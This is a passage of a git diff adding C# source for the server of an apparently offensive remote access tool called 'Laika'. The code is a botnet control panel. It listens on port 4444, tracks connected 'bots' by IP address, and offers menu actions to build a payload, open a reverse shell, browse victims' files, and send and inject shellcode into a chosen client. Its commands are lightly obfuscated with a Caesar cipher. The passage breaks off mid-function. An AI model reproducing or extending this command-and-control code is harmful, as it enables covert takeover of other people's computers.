this.buildAPayloadToolStripMenuItem.Size = new System.Drawing.Size(155, 22);
|
||||||
|
this.buildAPayloadToolStripMenuItem.Text = "Build a payload";
|
||||||
|
this.buildAPayloadToolStripMenuItem.Click += new System.EventHandler(this.BuildPayloadToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// dataGridView1
|
||||||
|
//
|
||||||
|
this.dataGridView1.AllowUserToAddRows = false;
|
||||||
|
this.dataGridView1.AllowUserToDeleteRows = false;
|
||||||
|
this.dataGridView1.AllowUserToResizeRows = false;
|
||||||
|
this.dataGridView1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
|
||||||
|
| System.Windows.Forms.AnchorStyles.Left)
|
||||||
|
| System.Windows.Forms.AnchorStyles.Right)));
|
||||||
|
this.dataGridView1.BackgroundColor = System.Drawing.SystemColors.HighlightText;
|
||||||
|
this.dataGridView1.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single;
|
||||||
|
dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
|
||||||
|
dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control;
|
||||||
|
dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||||
|
dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText;
|
||||||
|
dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Control;
|
||||||
|
dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.Control;
|
||||||
|
dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
|
||||||
|
this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1;
|
||||||
|
this.dataGridView1.ColumnHeadersHeight = 30;
|
||||||
|
this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing;
|
||||||
|
this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
|
||||||
|
this.Id,
|
||||||
|
this.IPAddress});
|
||||||
|
dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
|
||||||
|
dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window;
|
||||||
|
dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
|
||||||
|
dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText;
|
||||||
|
dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight;
|
||||||
|
dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
|
||||||
|
dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
|
||||||
|
this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle2;
|
||||||
|
this.dataGridView1.EnableHeadersVisualStyles = false;
|
||||||
|
this.dataGridView1.GridColor = System.Drawing.SystemColors.ScrollBar;
|
||||||
|
this.dataGridView1.Location = new System.Drawing.Point(12, 28);
|
||||||
|
this.dataGridView1.Margin = new System.Windows.Forms.Padding(0);
|
||||||
|
this.dataGridView1.MultiSelect = false;
|
||||||
|
this.dataGridView1.Name = "dataGridView1";
|
||||||
|
this.dataGridView1.ReadOnly = true;
|
||||||
|
this.dataGridView1.RowHeadersVisible = false;
|
||||||
|
this.dataGridView1.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing;
|
||||||
|
dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
|
||||||
|
this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle3;
|
||||||
|
this.dataGridView1.RowTemplate.ReadOnly = true;
|
||||||
|
this.dataGridView1.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False;
|
||||||
|
this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
|
||||||
|
this.dataGridView1.Size = new System.Drawing.Size(567, 302);
|
||||||
|
this.dataGridView1.TabIndex = 1;
|
||||||
|
this.dataGridView1.TabStop = false;
|
||||||
|
this.dataGridView1.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellContentClick);
|
||||||
|
this.dataGridView1.CellMouseClick += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView1_CellMouseClick);
|
||||||
|
//
|
||||||
|
// Id
|
||||||
|
//
|
||||||
|
this.Id.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
|
||||||
|
this.Id.HeaderText = "Id";
|
||||||
|
this.Id.Name = "Id";
|
||||||
|
this.Id.ReadOnly = true;
|
||||||
|
this.Id.Resizable = System.Windows.Forms.DataGridViewTriState.False;
|
||||||
|
this.Id.Width = 41;
|
||||||
|
//
|
||||||
|
// IPAddress
|
||||||
|
//
|
||||||
|
this.IPAddress.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
|
||||||
|
this.IPAddress.HeaderText = "IP Address";
|
||||||
|
this.IPAddress.Name = "IPAddress";
|
||||||
|
this.IPAddress.ReadOnly = true;
|
||||||
|
//
|
||||||
|
// contextMenuStrip1
|
||||||
|
//
|
||||||
|
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
|
this.shellToolStripMenuItem,
|
||||||
|
this.fileExplorerToolStripMenuItem,
|
||||||
|
this.shellcodeToolStripMenuItem});
|
||||||
|
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||||
|
this.contextMenuStrip1.Size = new System.Drawing.Size(169, 70);
|
||||||
|
//
|
||||||
|
// shellToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.shellToolStripMenuItem.Image = global::Server.Properties.Resources.terminal;
|
||||||
|
this.shellToolStripMenuItem.Name = "shellToolStripMenuItem";
|
||||||
|
this.shellToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
|
||||||
|
this.shellToolStripMenuItem.Text = "Reverse shell";
|
||||||
|
this.shellToolStripMenuItem.Click += new System.EventHandler(this.ReverseShellToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// fileExplorerToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.fileExplorerToolStripMenuItem.Image = global::Server.Properties.Resources.folder;
|
||||||
|
this.fileExplorerToolStripMenuItem.Name = "fileExplorerToolStripMenuItem";
|
||||||
|
this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
|
||||||
|
this.fileExplorerToolStripMenuItem.Text = "File Explorer";
|
||||||
|
this.fileExplorerToolStripMenuItem.Click += new System.EventHandler(this.fileExplorerToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// shellcodeToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.shellcodeToolStripMenuItem.Image = global::Server.Properties.Resources.execute;
|
||||||
|
this.shellcodeToolStripMenuItem.Name = "shellcodeToolStripMenuItem";
|
||||||
|
this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(168, 22);
|
||||||
|
this.shellcodeToolStripMenuItem.Text = "Execute shellcode";
|
||||||
|
this.shellcodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteShellcodeToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// Menu
|
||||||
|
//
|
||||||
|
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
|
||||||
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
|
this.AutoScroll = true;
|
||||||
|
this.ClientSize = new System.Drawing.Size(591, 342);
|
||||||
|
this.Controls.Add(this.dataGridView1);
|
||||||
|
this.Controls.Add(this.menuStrip1);
|
||||||
|
this.MainMenuStrip = this.menuStrip1;
|
||||||
|
this.MinimumSize = new System.Drawing.Size(607, 381);
|
||||||
|
this.Name = "Menu";
|
||||||
|
this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show;
|
||||||
|
this.Text = "Laika - Server | 0 bots";
|
||||||
|
this.Load += new System.EventHandler(this.Form1_Load);
|
||||||
|
this.menuStrip1.ResumeLayout(false);
|
||||||
|
this.menuStrip1.PerformLayout();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit();
|
||||||
|
this.contextMenuStrip1.ResumeLayout(false);
|
||||||
|
this.ResumeLayout(false);
|
||||||
|
this.PerformLayout();
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
|
||||||
|
private System.Windows.Forms.MenuStrip menuStrip1;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem payloadToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem buildAPayloadToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.DataGridView dataGridView1;
|
||||||
|
private System.Windows.Forms.DataGridViewTextBoxColumn Id;
|
||||||
|
private System.Windows.Forms.DataGridViewTextBoxColumn IPAddress;
|
||||||
|
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem shellToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem fileExplorerToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem shellcodeToolStripMenuItem;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
234
Server/Menu.cs
Normal file
@@ -0,0 +1,234 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Data;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Net;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Server
|
||||||
|
{
|
||||||
|
public partial class Menu : Form
|
||||||
|
{
|
||||||
|
public Menu()
|
||||||
|
{
|
||||||
|
InitializeComponent();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static TcpListener server;
|
||||||
|
public static int CLIENT_ID;
|
||||||
|
public static List<TcpClient> CONNECT_CLIENTS = new List<TcpClient>();
|
||||||
|
public static void ServerStart()
|
||||||
|
{
|
||||||
|
string localIPAddress = "192.168.56.1";//Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString();
|
||||||
|
int port = 4444;
|
||||||
|
server = new TcpListener(System.Net.IPAddress.Parse(localIPAddress), port);
|
||||||
|
server.Start();
|
||||||
|
}
|
||||||
|
public static void ServerStop()
|
||||||
|
{
|
||||||
|
server.Stop();
|
||||||
|
}
|
||||||
|
public void on_new_client()
|
||||||
|
{
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
TcpClient client;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
client = server.AcceptTcpClient();
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
client.Client.Blocking = false;
|
||||||
|
for (int i = 0; i < dataGridView1.Rows.Count; i++)
|
||||||
|
{
|
||||||
|
if (dataGridView1.Rows[i].Cells[1].Value.ToString() == client.Client.RemoteEndPoint.ToString().Split(':')[0])
|
||||||
|
{
|
||||||
|
client.Close();
|
||||||
|
client = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (client == null)
|
||||||
|
continue;
|
||||||
|
this.Invoke((MethodInvoker)delegate
|
||||||
|
{
|
||||||
|
dataGridView1.Rows.Add(new object[] { CONNECT_CLIENTS.Count, client.Client.RemoteEndPoint.ToString().Split(':')[0]});
|
||||||
|
dataGridView1.Update();
|
||||||
|
});
|
||||||
|
lock (CONNECT_CLIENTS)
|
||||||
|
{
|
||||||
|
CONNECT_CLIENTS.Add(client);
|
||||||
|
}
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots";
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
Console.WriteLine("New client connected");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void on_close_socket()
|
||||||
|
{
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
lock (CONNECT_CLIENTS)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < CONNECT_CLIENTS.Count; i++)
|
||||||
|
{
|
||||||
|
TcpClient client = CONNECT_CLIENTS[i];
|
||||||
|
if (i == FileExplorer.CLIENT_ID)
|
||||||
|
continue;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (client.Client.Poll(1, SelectMode.SelectRead) && client.Client.Available == 0)
|
||||||
|
{
|
||||||
|
CONNECT_CLIENTS.RemoveAt(i);
|
||||||
|
|
||||||
|
this.Invoke((MethodInvoker)delegate
|
||||||
|
{
|
||||||
|
dataGridView1.Rows.RemoveAt(i);
|
||||||
|
dataGridView1.Update();
|
||||||
|
});
|
||||||
|
|
||||||
|
i--;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots";
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
Console.WriteLine("Client disconnected");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (SocketException)
|
||||||
|
{
|
||||||
|
CONNECT_CLIENTS.RemoveAt(i);
|
||||||
|
|
||||||
|
this.Invoke((MethodInvoker)delegate
|
||||||
|
{
|
||||||
|
dataGridView1.Rows.RemoveAt(i);
|
||||||
|
dataGridView1.Update();
|
||||||
|
});
|
||||||
|
|
||||||
|
i--;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots";
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Thread.Sleep(100);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
private void Form1_Load(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
dataGridView1.ClearSelection();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void toolStripMenuItem1_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void dataGridView1_CellContentClick(object sender, DataGridViewCellEventArgs e)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void exitToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
Application.Exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void BuildPayloadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
BuildMenu menu = new BuildMenu();
|
||||||
|
|
||||||
|
menu.Show(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void StartPatateCrypterToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void dataGridView1_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.Button == MouseButtons.Right && e.RowIndex >= 0 && e.ColumnIndex >= 0)
|
||||||
|
{
|
||||||
|
dataGridView1.CurrentCell = dataGridView1.Rows[e.RowIndex].Cells[e.ColumnIndex];
|
||||||
|
CLIENT_ID = dataGridView1.CurrentRow.Index;
|
||||||
|
|
||||||
|
contextMenuStrip1.Show(Cursor.Position);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
private void ReverseShellToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
if (FileExplorer.OPENED == false)
|
||||||
|
Shell.StartShell();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void fileExplorerToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
if (Shell.OPENED == false)
|
||||||
|
{
|
||||||
|
FileExplorer fex = new FileExplorer();
|
||||||
|
|
||||||
|
fex.Show(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ExecuteShellcodeToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
OpenFileDialog openFileDialog = new OpenFileDialog
|
||||||
|
{
|
||||||
|
Filter = "Binary files (*.bin)|*.bin",
|
||||||
|
Title = "Select your shellcode"
|
||||||
|
};
|
||||||
|
|
||||||
|
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||||
|
return;
|
||||||
|
|
||||||
|
string filePath = openFileDialog.FileName;
|
||||||
|
TcpClient c = CONNECT_CLIENTS[dataGridView1.CurrentRow.Index];
|
||||||
|
c.ReceiveTimeout = 10000;
|
||||||
|
c.Client.Blocking = true;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
NetworkStream stream = c.GetStream();
|
||||||
|
|
||||||
|
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("inject"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("32"));
|
||||||
|
stream.Write(Message, 0, Message.Length);
|
||||||
|
|
||||||
|
byte[] fileContent = File.ReadAllBytes(filePath);
|
||||||
|
stream.Write(fileContent, 0, fileContent.Length);
|
||||||
|
|
||||||
|
byte[] buffer = new byte[5];
|
||||||
|
int bytesRead;
|
||||||
|
|
||||||
|
bytesRead = stream.Read(buffer, 0, buffer.Length);
|
||||||
|
string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||||
|
MessageBox.Show(receivedData);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
MessageBox.Show("Client timed out.");
|
||||||
|
}
|
||||||
|
|
||||||
|
c.Client.Blocking = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
132
Server/Menu.resx
Normal file
@@ -0,0 +1,132 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<metadata name="menuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
|
<value>17, 17</value>
|
||||||
|
</metadata>
|
||||||
|
<metadata name="Id.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
||||||
|
<value>True</value>
|
||||||
|
</metadata>
|
||||||
|
<metadata name="IPAddress.UserAddedColumn" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
|
||||||
|
<value>True</value>
|
||||||
|
</metadata>
|
||||||
|
<metadata name="contextMenuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||||
|
<value>132, 17</value>
|
||||||
|
</metadata>
|
||||||
|
</root>
|
||||||
207
Server/Program.cs
Normal file
@@ -0,0 +1,207 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
using System.Text;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
using static System.Windows.Forms.VisualStyles.VisualStyleElement;
|
||||||
|
|
||||||
|
namespace Server
|
||||||
|
{
|
||||||
|
public static class Shell
|
||||||
|
{
|
||||||
|
public static bool OPENED = false;
|
||||||
|
public static void ClearSocketData(TcpClient client)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (client.Connected)
|
||||||
|
{
|
||||||
|
NetworkStream stream = client.GetStream();
|
||||||
|
|
||||||
|
stream.Flush();
|
||||||
|
|
||||||
|
while (client.Available > 0)
|
||||||
|
{
|
||||||
|
byte[] buffer = new byte[client.Available];
|
||||||
|
stream.Read(buffer, 0, buffer.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
public static async void StartShell()
|
||||||
|
{
|
||||||
|
OPENED = true;
|
||||||
|
|
||||||
|
Form shell = new Form
|
||||||
|
{
|
||||||
|
Text = "Shell",
|
||||||
|
Size = new Size(800, 450),
|
||||||
|
BackColor = Color.Black,
|
||||||
|
FormBorderStyle = FormBorderStyle.FixedSingle,
|
||||||
|
MaximizeBox = false,
|
||||||
|
StartPosition = FormStartPosition.CenterScreen
|
||||||
|
};
|
||||||
|
System.Windows.Forms.TextBox textBox = new System.Windows.Forms.TextBox
|
||||||
|
{
|
||||||
|
Multiline = true,
|
||||||
|
Dock = DockStyle.Fill,
|
||||||
|
BackColor = Color.Black,
|
||||||
|
ForeColor = Color.White,
|
||||||
|
BorderStyle = BorderStyle.None,
|
||||||
|
Font = new Font("Consolas", 12),
|
||||||
|
ScrollBars = ScrollBars.Vertical
|
||||||
|
};
|
||||||
|
shell.Controls.Add(textBox);
|
||||||
|
TcpClient c = Menu.CONNECT_CLIENTS[Menu.CLIENT_ID];
|
||||||
|
c.Client.Blocking = true;
|
||||||
|
ClearSocketData(c);
|
||||||
|
shell.FormClosing += (sender, e) => OnFormClosing(e, c);
|
||||||
|
textBox.KeyDown += (sender, e) => OnKeyDown(e, textBox, c);
|
||||||
|
shell.Show();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
await Task.Run(async () =>
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
NetworkStream stream = c.GetStream();
|
||||||
|
byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("shell"));
|
||||||
|
stream.Write(message, 0, message.Length);
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = await stream.ReadAsync(buffer, 0, buffer.Length)) != 0)
|
||||||
|
{
|
||||||
|
string receivedData = Encoding.UTF8.GetString(buffer, 0, bytesRead);
|
||||||
|
if (receivedData == "fail")
|
||||||
|
{
|
||||||
|
shell.Invoke((Action)(() => MessageBox.Show("fail")));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
receivedData = Utils.CAESAR_DECRYPT(receivedData);
|
||||||
|
if (receivedData.Contains("Laika: session ended"))
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
shell.Invoke((Action)(() =>
|
||||||
|
{
|
||||||
|
textBox.AppendText(receivedData);
|
||||||
|
textBox.ScrollToCaret();
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
ClearSocketData(c);
|
||||||
|
c.Client.Blocking = false;
|
||||||
|
if (shell != null)
|
||||||
|
{
|
||||||
|
shell.Close();
|
||||||
|
shell.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
OPENED = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void OnFormClosing(FormClosingEventArgs e, TcpClient c)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
